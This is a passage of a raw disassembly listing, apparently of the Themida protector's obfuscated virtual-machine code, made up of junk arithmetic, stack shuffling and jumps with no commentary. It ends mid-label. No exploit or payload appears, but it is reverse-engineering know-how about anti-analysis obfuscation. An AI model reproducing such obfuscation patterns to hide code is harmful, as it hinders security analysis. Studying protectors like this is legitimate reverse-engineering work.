--------------------------------------------------------------------------- loc_561F55: ; CODE XREF: Themida_:00563E3Cj xor cx, bp xchg cx, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561F61: ; CODE XREF: Themida_:00563115j add esp, 4 push ebp jmp loc_55F2C4 ; --------------------------------------------------------------------------- loc_561F6A: ; CODE XREF: Themida_:00561992j add eax, ecx push ebx mov ebx, 248F14DCh shl ebx, 2 jmp loc_57133B ; --------------------------------------------------------------------------- loc_561F7A: ; CODE XREF: Themida_:00566E4Dj xchg ebp, ebx jmp loc_569458 ; --------------------------------------------------------------------------- loc_561F81: ; CODE XREF: Themida_:005719B8j sub ebp, eax push edx mov edx, 588F5D72h sub ebp, edx pop edx jmp loc_56E658 ; --------------------------------------------------------------------------- loc_561F91: ; CODE XREF: Themida_:0055FD0Aj shr edi, 2 push ebp mov ebp, 34370738h xor edi, ebp pop ebp add edi, 1 neg edi jmp loc_566A71 ; --------------------------------------------------------------------------- loc_561FAA: ; CODE XREF: Themida_:00564974j sub esi, 53292216h jmp loc_57096E ; --------------------------------------------------------------------------- loc_561FB5: ; CODE XREF: Themida_:00560642j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_561FBA: ; CODE XREF: Themida_:0056ECB6j push ebp push esp mov ebp, [esp] add esp, 4 push esi mov esi, 4BD926B0h sub esp, 4 mov [esp], esi xchg edx, [esp] not edx xchg edx, [esp] pop esi jmp loc_56EBED ; --------------------------------------------------------------------------- loc_561FDF: ; CODE XREF: Themida_:00563FC5j pop ebx jmp loc_560A79 ; --------------------------------------------------------------------------- loc_561FE5: ; CODE XREF: Themida_:00561B30j sub dh, bh pop ebx sub dh, 95h and cl, dh pop edx push ebx mov bh, 0F2h jmp loc_56DEBA ; --------------------------------------------------------------------------- loc_561FF6: ; CODE XREF: Themida_:00571BF5j mov [esp], ebx jmp loc_56BB66 ; --------------------------------------------------------------------------- loc_561FFE: ; CODE XREF: Themida_:00572A1Fj or eax, 11AC2CB2h xor eax, 0DA629761h sub esp, 4 mov [esp], eax add dword ptr [esp], 40254431h push dword ptr [esp] pop esi add esp, 4 push 281Ah mov [esp], eax mov eax, 394B1992h xor eax, 502F17E3h neg eax or eax, 315039EDh push ebp mov ebp, 0 sub ebp, eax xchg eax, ebp jmp loc_5657A2 ; --------------------------------------------------------------------------- loc_562049: ; CODE XREF: Themida_:0057153Fj add ebp, edx pop edx add ebp, 4 jmp loc_569437 ; --------------------------------------------------------------------------- loc_562054: ; CODE XREF: Themida_:00569B0Cj pop cx sub dl, 4Fh sub al, 72h add al, dl add al, 72h push dword ptr [esp] pop edx add esp, 4 sub bl, 65h push ecx mov ch, 43h sub bl, ch pop ecx push eax jmp loc_567609 ; --------------------------------------------------------------------------- loc_562075: ; CODE XREF: Themida_:00560DD3j push ebx mov bh, 6Ah xor bh, 0FEh jmp loc_56C082 ; --------------------------------------------------------------------------- loc_562080: ; CODE XREF: Themida_:0056C220j add ebp, 4 jmp loc_56E125 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi jmp loc_572737 ; --------------------------------------------------------------------------- loc_56209D: ; CODE XREF: Themida_:005659F3j neg esi not esi sub esi, 215E4214h add eax, esi pop esi jmp loc_56F4A5 ; --------------------------------------------------------------------------- loc_5620AF: ; CODE XREF: Themida_:0057124Aj pop eax push 5AA1h mov [esp], ebx mov ebx, 74096732h sub ebx, 5EB33692h jmp loc_56B7DC ; --------------------------------------------------------------------------- loc_5620C8: ; CODE XREF: Themida_:0056600Dj sub al, 0A2h pop edx sub al, bl push 5646h mov [esp], ecx mov cl, 48h add al, 22h jmp loc_5600D5 ; --------------------------------------------------------------------------- loc_5620DE: ; CODE XREF: Themida_:0056057Bj pop dword ptr [esp] pop esp idiv cx push small 1746h mov [esp], dx push ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5620F5: ; CODE XREF: Themida_:00565991j mov [esp], edx mov ebx, [esp] push 3EEBh mov [esp], ecx jmp loc_56B9A4 ; --------------------------------------------------------------------------- loc_562108: ; CODE XREF: Themida_:0055F314j mov ebx, 2 mov edx, ebx pop ebx jmp loc_572794 ; --------------------------------------------------------------------------- loc_562115: ; CODE XREF: Themida_:00570C51j push edx pop esi mov edx, [esp] add esp, 4 push edx push 1556h mov [esp], eax mov eax, 786E56EAh mov edx, eax pop eax push ecx mov ecx, 0D1914D5h sub edx, 5A877A1h jmp loc_56E1A8 ; --------------------------------------------------------------------------- loc_56213F: ; CODE XREF: Themida_:0056C3DDj mov edi, 0C873FACh add edi, 7A257B9Fh jmp loc_5664E8 ; --------------------------------------------------------------------------- loc_56214F: ; CODE XREF: Themida_:0055E884j add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_564BD6 ; --------------------------------------------------------------------------- loc_56215F: ; CODE XREF: Themida_:0055F405j mov [esp], edx push 5439h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push 7CECh mov [esp], edi push 4 mov edi, [esp] add esp, 4 add edx, edi push dword ptr [esp] pop edi push ebx push esp pop ebx jmp loc_5682F2 ; --------------------------------------------------------------------------- loc_56219B: ; CODE XREF: Themida_:0056C688j push 51Fh mov [esp], edx mov edx, 3CA9698Eh add [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5621B7: ; CODE XREF: Themida_:0055F57Aj mov ebp, 30B0701Ah not ebp jmp loc_565806 ; --------------------------------------------------------------------------- loc_5621C3: ; CODE XREF: Themida_:0055EAF9j sub edi, 54B0621Bh xor edi, 2C58550Bh add ebx, edi pop edi add ebx, edi sub ebx, 31D64092h push eax mov eax, 8AA4043h not eax push esi mov esi, 2CC76979h xor eax, esi pop esi neg eax push esi jmp loc_56F4AD ; --------------------------------------------------------------------------- loc_5621F3: ; CODE XREF: Themida_:0056EC72j xor edx, eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5621FA: ; CODE XREF: Themida_:005706C7j sub eax, 502508F6h jmp loc_56870C ; --------------------------------------------------------------------------- loc_562204: ; CODE XREF: Themida_:00560623j push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_56FA62 ; --------------------------------------------------------------------------- loc_562211: ; CODE XREF: Themida_:0056EA9Ej mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx mov esi, [esp] add esp, 4 push 1CE3h mov [esp], edx mov edx, 4 sub esi, 22A379A1h add esi, edx add esi, 22A379A1h mov edx, [esp] push 7066h mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_561571 ; --------------------------------------------------------------------------- loc_56225C: ; CODE XREF: Themida_:005609BEj sub esp, 4 mov [esp], esi mov esi, 0 sub esi, ebx mov ebx, esi jmp loc_56C65A ; --------------------------------------------------------------------------- loc_562273: ; CODE XREF: Themida_:0055D83Ej pop ebx jmp loc_56F840 ; --------------------------------------------------------------------------- loc_562279: ; CODE XREF: Themida_:00563320j pop eax dec edx push 29F4h mov [esp], ecx mov ecx, 4A4C425Eh push ebp mov ebp, 365C2F19h and ecx, ebp pop ebp sub ecx, 59187F21h add ecx, 0BB369241h and edx, ecx jmp loc_56431A ; --------------------------------------------------------------------------- loc_5622A4: ; CODE XREF: Themida_:0056DB04j xor dh, 0F8h shr dh, 2 add dh, 32h jmp loc_56D59E ; --------------------------------------------------------------------------- loc_5622B2: ; CODE XREF: Themida_:0057064Cj sub ebx, 51E37C9Dh add ebx, eax push edx mov edx, 51E37C9Dh add ebx, edx pop edx jmp loc_565354 ; --------------------------------------------------------------------------- loc_5622C8: ; CODE XREF: Themida_:0056ED2Aj add edi, 4ACFADA3h add eax, 3CE70DD2h sub eax, 3F5468EAh add eax, edi add eax, 3F5468EAh push ecx mov ecx, 2863338Bh sub esp, 4 mov [esp], edi mov edi, 72596C0Eh or ecx, edi pop edi jmp loc_55D945 ; --------------------------------------------------------------------------- loc_5622F8: ; CODE XREF: Themida_:005646A4j mov eax, 0E88517Ah mov edi, eax pop eax xor esi, edi pop edi jmp loc_567317 ; --------------------------------------------------------------------------- loc_562308: ; CODE XREF: Themida_:00564343j sub eax, 363849C0h push ebp push edx mov edx, 45250391h add edx, 0FBE91E4Eh mov ebp, edx jmp loc_567B3F ; --------------------------------------------------------------------------- push 5645h sub esp, 4 jmp loc_56EAA3 ; --------------------------------------------------------------------------- loc_562331: ; CODE XREF: Themida_:0056503Ej add edx, 4 add edx, 4 jmp loc_56C5DC ; --------------------------------------------------------------------------- loc_562342: ; CODE XREF: Themida_:005703D5j add ebp, 0CA15FD51h jmp loc_5655BA ; --------------------------------------------------------------------------- loc_56234D: ; CODE XREF: Themida_:0056DD97j pop esp mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_56C3B6 ; --------------------------------------------------------------------------- loc_56235E: ; CODE XREF: Themida_:00572378j add esp, 4 jmp loc_569345 ; --------------------------------------------------------------------------- loc_562369: ; CODE XREF: Themida_:005600C2j push esi mov esi, 116D5557h xor eax, esi pop esi jmp loc_567880 ; --------------------------------------------------------------------------- loc_562377: ; CODE XREF: Themida_:0055EE6Dj sub ecx, ebx jmp loc_55E674 ; --------------------------------------------------------------------------- loc_56237E: ; CODE XREF: Themida_:00566291j mov ebx, 4 mov ecx, ebx pop ebx add esi, ecx mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add esi, 4 add esi, 2 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5623BB: ; CODE XREF: Themida_:0056C98Bj xor edx, edi jmp loc_561D43 ; --------------------------------------------------------------------------- loc_5623C2: ; CODE XREF: Themida_:0056B6F8j sub ebx, 40C5566Ch jmp loc_569E54 ; --------------------------------------------------------------------------- loc_5623CD: ; CODE XREF: Themida_:00563EB8j mov [esp], edi push edx mov edx, 17EF6731h inc edx jmp loc_562813 ; --------------------------------------------------------------------------- loc_5623DC: ; CODE XREF: Themida_:00565677j sub ebp, eax pop eax jmp loc_565F19 ; --------------------------------------------------------------------------- loc_5623E4: ; CODE XREF: Themida_:00564EB9j mov esi, [esp] jmp loc_562477 ; --------------------------------------------------------------------------- loc_5623EC: ; CODE XREF: Themida_:00563C32j or bl, dh push dword ptr [esp] pop edx add esp, 4 inc bl xor bl, 3Ah or bl, 0A0h push edx mov dl, 1Dh jmp loc_5713DB ; --------------------------------------------------------------------------- loc_562408: ; CODE XREF: Themida_:0056FA28j pop dword ptr [edx+30h] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_5648F3 ; --------------------------------------------------------------------------- loc_56241C: ; CODE XREF: Themida_:0056E3F1j dec ebx push edi jmp loc_55FFDD ; --------------------------------------------------------------------------- loc_562423: ; CODE XREF: Themida_:00562BC7j add esp, 4 jmp loc_56E5C3 ; --------------------------------------------------------------------------- lodsb push ebx sub esp, 4 jmp loc_56167F ; --------------------------------------------------------------------------- loc_56243B: ; CODE XREF: Themida_:0056F1AAj add edi, 4 jmp loc_5650A3 ; --------------------------------------------------------------------------- loc_562446: ; CODE XREF: Themida_:0056F35Bj pop edx pop edi push ecx push edi mov edi, 21380D7Fh mov ecx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 7B51A65h add ecx, ebx pop ebx sub ecx, 1 push ecx xchg edi, [esp] not edi xchg edi, [esp] jmp loc_567D1D ; --------------------------------------------------------------------------- loc_562477: ; CODE XREF: Themida_:005623E7j add esp, 4 add eax, edx mov edx, [esp] add esp, 4 sub eax, 1F5D7080h sub eax, ebx add eax, 1F5D7080h sub eax, 0A2B5561h push 13F4h mov [esp], edi push ecx push 731F3A81h mov ecx, [esp] add esp, 4 jmp loc_568527 ; --------------------------------------------------------------------------- loc_5624AC: ; CODE XREF: Themida_:0056D908j add esi, 4 jmp loc_560CF1 ; --------------------------------------------------------------------------- loc_5624B7: ; CODE XREF: Themida_:0056A6EAj sub esp, 4 mov [esp], ebp push eax mov eax, 1F7E58E7h not eax jmp loc_569CA5 ; --------------------------------------------------------------------------- loc_5624CD: ; CODE XREF: Themida_:00570416j mov ah, 7 jmp loc_567786 ; --------------------------------------------------------------------------- loc_5624D4: ; CODE XREF: Themida_:0056D636j mov edx, 4 add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5624ED: ; CODE XREF: Themida_:005638BEj mov [esp], edx push 147C6470h pop edx jmp loc_564C7F ; --------------------------------------------------------------------------- loc_5624FB: ; CODE XREF: Themida_:00560A23j push dword ptr [esp] pop ebx add esp, 4 shr ebx, 2 sub ebx, 78FB7617h shr ebx, 7 sub ebx, 441686Bh shl ebx, 7 push edx jmp loc_55F861 ; --------------------------------------------------------------------------- mov cx, [esp] push 7200h mov [esp], edx push esp pop edx jmp loc_569A56 ; --------------------------------------------------------------------------- loc_562530: ; CODE XREF: Themida_:0056F54Fj xchg ebp, [esp] pop esp jmp loc_56F902 ; --------------------------------------------------------------------------- loc_562539: ; CODE XREF: Themida_:00565536j div ecx jmp loc_5719BD ; --------------------------------------------------------------------------- loc_562540: ; CODE XREF: Themida_:00572438j neg si jmp loc_56518A ; --------------------------------------------------------------------------- loc_562548: ; CODE XREF: Themida_:0056E8B4j or esi, 6BBF12E4h jmp loc_56B85C ; --------------------------------------------------------------------------- loc_562553: ; CODE XREF: Themida_:00571294j mov ecx, 4 mov ebx, ecx pop ecx add dword ptr [esp+4], 5F417D39h jmp loc_56B82D ; --------------------------------------------------------------------------- loc_562568: ; CODE XREF: Themida_:0057150Bj add esi, ebp jmp loc_560D4D ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push ecx jmp loc_56447C ; --------------------------------------------------------------------------- loc_562585: ; CODE XREF: Themida_:00560321j pop ebx jmp loc_5695AB ; --------------------------------------------------------------------------- loc_56258B: ; CODE XREF: Themida_:00570133j mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] jmp loc_56E8C1 ; --------------------------------------------------------------------------- loc_5625A1: ; CODE XREF: Themida_:0056356Bj mov al, 0CEh add al, 4 shr al, 4 jmp loc_56AE76 ; --------------------------------------------------------------------------- loc_5625AD: ; CODE XREF: Themida_:0056F5B2j neg edx xor edx, 4242121Eh xor edx, 0DA3B560Dh add eax, edx jmp loc_56ED58 ; --------------------------------------------------------------------------- loc_5625C2: ; CODE XREF: Themida_:0055E33Bj add edx, 67542990h add ebp, 1BAD7990h add ebp, edx sub ebp, 1BAD7990h mov edx, [esp] add esp, 4 jmp loc_565778 ; --------------------------------------------------------------------------- loc_5625E1: ; CODE XREF: Themida_:0056D890j sub esp, 4 mov [esp], ebp mov ebp, 0E7C5737h or ebp, 317E4577h jmp loc_56C5A6 ; --------------------------------------------------------------------------- loc_5625F7: ; CODE XREF: Themida_:00570948j add eax, edx push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_564536 ; --------------------------------------------------------------------------- loc_562610: ; CODE XREF: Themida_:00564831j mov [esp], edi push esp pop edi add edi, 4 push edx mov edx, esp add edx, 4 push 58CBh mov [esp], eax jmp loc_56F264 ; --------------------------------------------------------------------------- loc_562631: ; CODE XREF: Themida_:005678A0j mov [esp], edi jmp loc_56878F ; --------------------------------------------------------------------------- loc_562639: ; CODE XREF: Themida_:0056D200j mov esi, 0F8AC7B80h add ebp, esi pop esi jmp loc_55FBD8 ; --------------------------------------------------------------------------- loc_562646: ; CODE XREF: Themida_:00571D89j add ebx, 17D193E8h add edx, ebx pop ebx push ebx mov ebx, 1C7E50F1h jmp loc_56D7E8 ; --------------------------------------------------------------------------- loc_56265A: ; CODE XREF: Themida_:0056EF4Fj mov eax, ebx jmp loc_5727ED ; --------------------------------------------------------------------------- loc_562661: ; CODE XREF: Themida_:00571A23j add dword ptr [esp+4], 1CF52255h push dword ptr [esp] pop edi push edi push esp pop edi add edi, 4 push 460Bh mov [esp], ebp mov ebp, 4 jmp loc_56AC66 ; --------------------------------------------------------------------------- loc_562688: ; CODE XREF: Themida_:00571E84j mov ebx, [esp] add esp, 4 push ax mov al, 27h or ch, al pop ax dec ch add ch, 43h add al, 0F1h jmp loc_5634EA ; --------------------------------------------------------------------------- loc_5626A2: ; CODE XREF: Themida_:0056AD6Fj pop esi add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xor ebx, 1BBD7FD2h jmp loc_56DF40 ; --------------------------------------------------------------------------- loc_5626BB: ; CODE XREF: Themida_:00566EA4j pop ebx sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push 4465h mov [esp], edx jmp loc_55ECF1 ; --------------------------------------------------------------------------- loc_5626D6: ; CODE XREF: Themida_:00566C22j mov cx, [esp] push edx mov edx, esp add edx, 4 jmp loc_55D8D9 ; --------------------------------------------------------------------------- loc_5626E8: ; CODE XREF: Themida_:00571C23j push cx mov ch, 51h add bl, ch pop cx jmp loc_569633 ; --------------------------------------------------------------------------- loc_5626F5: ; CODE XREF: Themida_:0055D706j sub esi, 69597DD5h sub esi, 0C5AC567h jmp loc_56FEEE ; --------------------------------------------------------------------------- loc_562706: ; CODE XREF: Themida_:00569F3Ej xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], ecx xor ecx, [esp] jmp loc_55D9E3 ; --------------------------------------------------------------------------- loc_562719: ; CODE XREF: Themida_:005606D3j mov edi, 37E91A75h add edi, 0C816E58Fh sub ebx, 5DE44D24h jmp loc_5672A3 ; --------------------------------------------------------------------------- loc_56272F: ; CODE XREF: Themida_:00564693j add edi, ebp pop ebp jmp loc_56A995 ; --------------------------------------------------------------------------- loc_562737: ; CODE XREF: Themida_:0056027Bj mov [esp], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_562740: ; CODE XREF: Themida_:0055FD65j add eax, 58C2ED2Dh mov edi, eax jmp loc_55D7D1 ; --------------------------------------------------------------------------- loc_56274C: ; CODE XREF: Themida_:005719E1j push eax mov eax, 34F07827h sub eax, 0CA4231F0h or edx, eax pop eax jmp loc_571FDE ; --------------------------------------------------------------------------- loc_56275F: ; CODE XREF: Themida_:005605ADj push 346Fh mov [esp], eax push 35E7h mov [esp], edi jmp loc_5712A9 ; --------------------------------------------------------------------------- loc_562774: ; CODE XREF: Themida_:0056C43Dj mov [esp], ebx mov ebx, esp jmp loc_565BF0 ; --------------------------------------------------------------------------- loc_56277E: ; CODE XREF: Themida_:00568195j mov edi, 1CB03A3Bh and edi, 595537AAh sub edi, 46E5A87h jmp loc_563F44 ; --------------------------------------------------------------------------- loc_562794: ; CODE XREF: Themida_:005655AAj mov edi, [esp] add esp, 4 push edx mov edx, 20465B32h or edx, 409962BCh jmp loc_563635 ; --------------------------------------------------------------------------- loc_5627AB: ; CODE XREF: Themida_:0056F5F4j push 31947CACh jmp loc_56781B ; --------------------------------------------------------------------------- loc_5627B5: ; CODE XREF: Themida_:0056A01Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5627C8: ; CODE XREF: Themida_:0055E08Cj add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 48CAh mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_563BCF ; --------------------------------------------------------------------------- loc_5627E4: ; CODE XREF: Themida_:0056D4CBj push eax push esi mov esi, 20h mov eax, esi pop esi add eax, edi add [eax], edx pop eax mov edx, [esp] add esp, 4 neg dword ptr [edi+20h] push eax mov eax, 20h add eax, edi xor dword ptr [eax], 91E3C207h pop eax jmp loc_56C0F4 ; --------------------------------------------------------------------------- loc_562813: ; CODE XREF: Themida_:005623D7j xchg ebx, edx not ebx xchg ebx, edx jmp loc_56CFFF ; --------------------------------------------------------------------------- loc_56281E: ; CODE XREF: Themida_:005720BAj push esi jmp loc_563955 ; --------------------------------------------------------------------------- loc_562824: ; CODE XREF: Themida_:0055D998j push 18E663EFh pop edx and edx, 0BCB21C5h not edx jmp loc_55F972 ; --------------------------------------------------------------------------- loc_562837: ; CODE XREF: Themida_:0056BC4Ej pop ecx pop dword ptr [esp] pop esp jmp loc_56EB97 ; --------------------------------------------------------------------------- loc_562841: ; CODE XREF: Themida_:0055FC3Fj xor ebp, 796A4DC1h push edx mov edx, 747A7821h jmp loc_56560E ; --------------------------------------------------------------------------- loc_562852: ; CODE XREF: Themida_:00561BDEj sub ebp, eax jmp loc_56F537 ; --------------------------------------------------------------------------- loc_562859: ; CODE XREF: Themida_:0056FBD7j movzx cx, ah push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_567D97 ; --------------------------------------------------------------------------- loc_562873: ; CODE XREF: Themida_:00570319j mov edi, [esp] push 12AEh mov [esp], edi mov edi, esp jmp loc_56C26F ; --------------------------------------------------------------------------- loc_562885: ; CODE XREF: Themida_:0055D862j push ecx mov ecx, 5D3A3845h not ecx shl ecx, 8 xor ecx, 0BEDB9DF9h or esi, ecx pop ecx not esi jmp loc_561B8D ; --------------------------------------------------------------------------- loc_5628A0: ; CODE XREF: Themida_:0056BCFAj push 77FDh mov [esp], edi mov edi, 2DD305E5h sub edi, 1D3B021Bh xor edi, 17031AB2h jmp loc_56F4C6 ; --------------------------------------------------------------------------- loc_5628BE: ; CODE XREF: Themida_:00561952j xor ebp, 7532307Ch sub ebp, 0B3315D57h add esi, ebp pop ebp sub ecx, esi pop esi add ecx, edx push edi mov edi, 1D916D25h add ecx, 70350BD2h sub ecx, 2F972179h add ecx, edi push edi mov edi, 4606638Bh dec edi inc edi shr edi, 2 jmp loc_561580 ; --------------------------------------------------------------------------- loc_5628F6: ; CODE XREF: Themida_:0056EECFj push eax jmp loc_5702B1 ; --------------------------------------------------------------------------- loc_5628FC: ; CODE XREF: Themida_:00566904j mov ah, bl jmp loc_55E14C ; --------------------------------------------------------------------------- loc_562903: ; CODE XREF: Themida_:0055D7AFj sub ebp, 41114C6Ah jmp loc_571EA9 ; --------------------------------------------------------------------------- loc_56290E: ; CODE XREF: Themida_:00564F45j sub eax, 0B7277F93h mov esi, eax jmp loc_563058 ; --------------------------------------------------------------------------- loc_56291A: ; CODE XREF: Themida_:0056DEBDj add al, 38h sub al, cl sub al, 38h mov ecx, [esp] add esp, 4 add al, bl add al, 0B2h sub al, 0EFh push 5CEBh mov [esp], ecx mov ch, 0DBh shr ch, 7 push ebx push 5022h mov [esp], ecx mov cl, 0A1h add cl, 8Ah push edx mov dh, 6Ah push ecx mov ch, 0AEh or ch, 0B5h sub ch, 21h xor ch, 0B7h xor dh, ch pop ecx push ecx mov cl, 79h and dh, cl pop ecx jmp loc_568D01 ; --------------------------------------------------------------------------- loc_562964: ; CODE XREF: Themida_:0056DB3Aj add dword ptr [esp], 4 push dword ptr [esp] pop edx push 5FFFh mov [esp], ebx jmp loc_56319C ; --------------------------------------------------------------------------- loc_56297C: ; CODE XREF: Themida_:00561355j push dword ptr [esp] mov esi, [esp] add esp, 4 push 1AEAh mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ebp mov ebp, 3A2E3AC2h jmp loc_56E02A ; --------------------------------------------------------------------------- loc_5629AC: ; CODE XREF: Themida_:0056FEE0j neg ebp add ebp, 7AE25B90h jmp loc_55F21E ; --------------------------------------------------------------------------- loc_5629B9: ; CODE XREF: Themida_:0056C1BFj xor eax, edi pop edi jmp loc_55E6BC ; --------------------------------------------------------------------------- loc_5629C1: ; CODE XREF: Themida_:0056D10Cj pop eax xor ebp, [esp] jmp loc_55D5FD ; --------------------------------------------------------------------------- loc_5629CA: ; CODE XREF: Themida_:0056AFF9j sub al, 7Dh sub al, cl add al, 7Dh add al, 6Ah jmp loc_560491 ; --------------------------------------------------------------------------- loc_5629D7: ; CODE XREF: Themida_:0056CFA0j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5629DC: ; CODE XREF: Themida_:0055E6BDj mov edx, 640A309Ch dec edx add edx, 32D94C37h add eax, edx pop edx add esi, eax jmp loc_568FB3 ; --------------------------------------------------------------------------- loc_5629F2: ; CODE XREF: Themida_:0056DDB1j sub ebp, 3D52503Ch jmp loc_56A0E2 ; --------------------------------------------------------------------------- loc_5629FD: ; CODE XREF: Themida_:00571E3Cj push 3664h mov [esp], edi jmp loc_55D2FB ; =============== S U B R O U T I N E ======================================= sub_562A0A proc near ; CODE XREF: sub_55DEE3+DEE3j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056004D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005602DA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056113D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00561CF8 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 00564B3E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00566224 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00568B2E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BE98 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C847 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056D396 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D5A5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056DEE8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005703C1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00570C2B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570F9D SIZE 00000009 BYTES sub esp, 2 mov word ptr [esp+4+var_4], dx jmp loc_56113D sub_562A0A endp ; --------------------------------------------------------------------------- loc_562A19: ; CODE XREF: Themida_:00560385j push edi mov edi, 3F7013F7h and edi, 3F9B3E59h and edi, 72960A89h push eax mov eax, 0CDEFFE03h jmp loc_56DBED ; --------------------------------------------------------------------------- loc_562A36: ; CODE XREF: Themida_:0056ED8Ej xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 202D7814h add ebp, 0CD6C005h add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 543D71C1h jmp loc_56A291 ; --------------------------------------------------------------------------- loc_562A5A: ; CODE XREF: Themida_:005710ADj and eax, 73722146h and eax, 4AE6347h add eax, 13C27CD4h add esi, eax jmp loc_56CEC6 ; --------------------------------------------------------------------------- loc_562A70: ; CODE XREF: Themida_:0056AC53j xchg ebx, [esp] pop esp push 0D00h mov [esp], ecx push edx mov edx, esp jmp loc_55F6BD ; --------------------------------------------------------------------------- loc_562A84: ; CODE XREF: Themida_:00568544j ; Themida_:0056C626j sub esp, 4 mov [esp], ebx push edi mov edi, 79BD4892h xor [esp+4], edi pop edi pop eax push edx push ebp mov ebp, 668E0EA0h push 107Ah mov [esp], esi jmp loc_55E797 ; --------------------------------------------------------------------------- loc_562AAD: ; CODE XREF: Themida_:0056A354j xor al, dh jmp loc_572B18 ; --------------------------------------------------------------------------- loc_562AB4: ; CODE XREF: Themida_:00569CA0j sub ebp, 7DBD3F7Ch mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_56A716 ; --------------------------------------------------------------------------- loc_562ACE: ; CODE XREF: Themida_:00568D23j push edi mov edi, 48552ED0h sub ebp, edi pop edi or ebp, 7BCB4F69h and ebp, 347B23D8h push ecx mov ecx, 773A30DEh xor ebp, ecx pop ecx sub ebx, 4DF77D51h add ebx, 3A2454BAh add ebx, ebp sub ebx, 3A2454BAh add ebx, 4DF77D51h pop ebp add ebx, eax jmp loc_56D3B9 ; --------------------------------------------------------------------------- loc_562B0E: ; CODE XREF: Themida_:00567CFAj shl cl, 1 xor cl, 0D2h not cl not cl xor cl, 0D6h sub cl, 20h or dl, cl pop cx sub dl, 23h add al, dl pop edx sub al, bl sub al, 21h mov ebx, [esp] add esp, 4 jmp loc_562C71 ; --------------------------------------------------------------------------- loc_562B36: ; CODE XREF: Themida_:00570EB2j pop ecx push edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 7AC3C00Fh mov edi, ebx pop ebx xor ecx, edi pop edi mov ebp, ecx pop ecx add ebp, 5F5168C8h jmp loc_56B5B7 ; --------------------------------------------------------------------------- loc_562B67: ; CODE XREF: Themida_:00563C3Cj add dword ptr [esp], 25E754Eh mov eax, [esp] add esp, 4 push esi mov esi, 0B9E3C0Dh inc esi dec esi sub esi, 0C3E21E8Ah push 3E70h jmp loc_56F3CE ; --------------------------------------------------------------------------- loc_562B8F: ; CODE XREF: Themida_:00563135j sub edx, 65AA035Dh sub edx, ebx add edx, 65AA035Dh push dword ptr [esp] pop ebx add esp, 4 jmp loc_56056F ; --------------------------------------------------------------------------- loc_562BAC: ; CODE XREF: Themida_:0055F50Ej push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5686C8 ; --------------------------------------------------------------------------- loc_562BC4: ; CODE XREF: Themida_:0056F0DDj mov esp, [esp] jmp loc_562423 ; --------------------------------------------------------------------------- loc_562BCC: ; CODE XREF: Themida_:005676A3j mov eax, 5F930F74h sub ebx, eax jmp loc_56A601 ; --------------------------------------------------------------------------- loc_562BD8: ; CODE XREF: Themida_:0056BA0Cj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 5F3855BCh push edi push 796E7AB1h jmp loc_565AE5 ; --------------------------------------------------------------------------- loc_562BF7: ; CODE XREF: Themida_:00571CCCj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push esp pop esi sub esp, 4 jmp loc_570081 ; --------------------------------------------------------------------------- loc_562C1B: ; CODE XREF: Themida_:00568BBCj 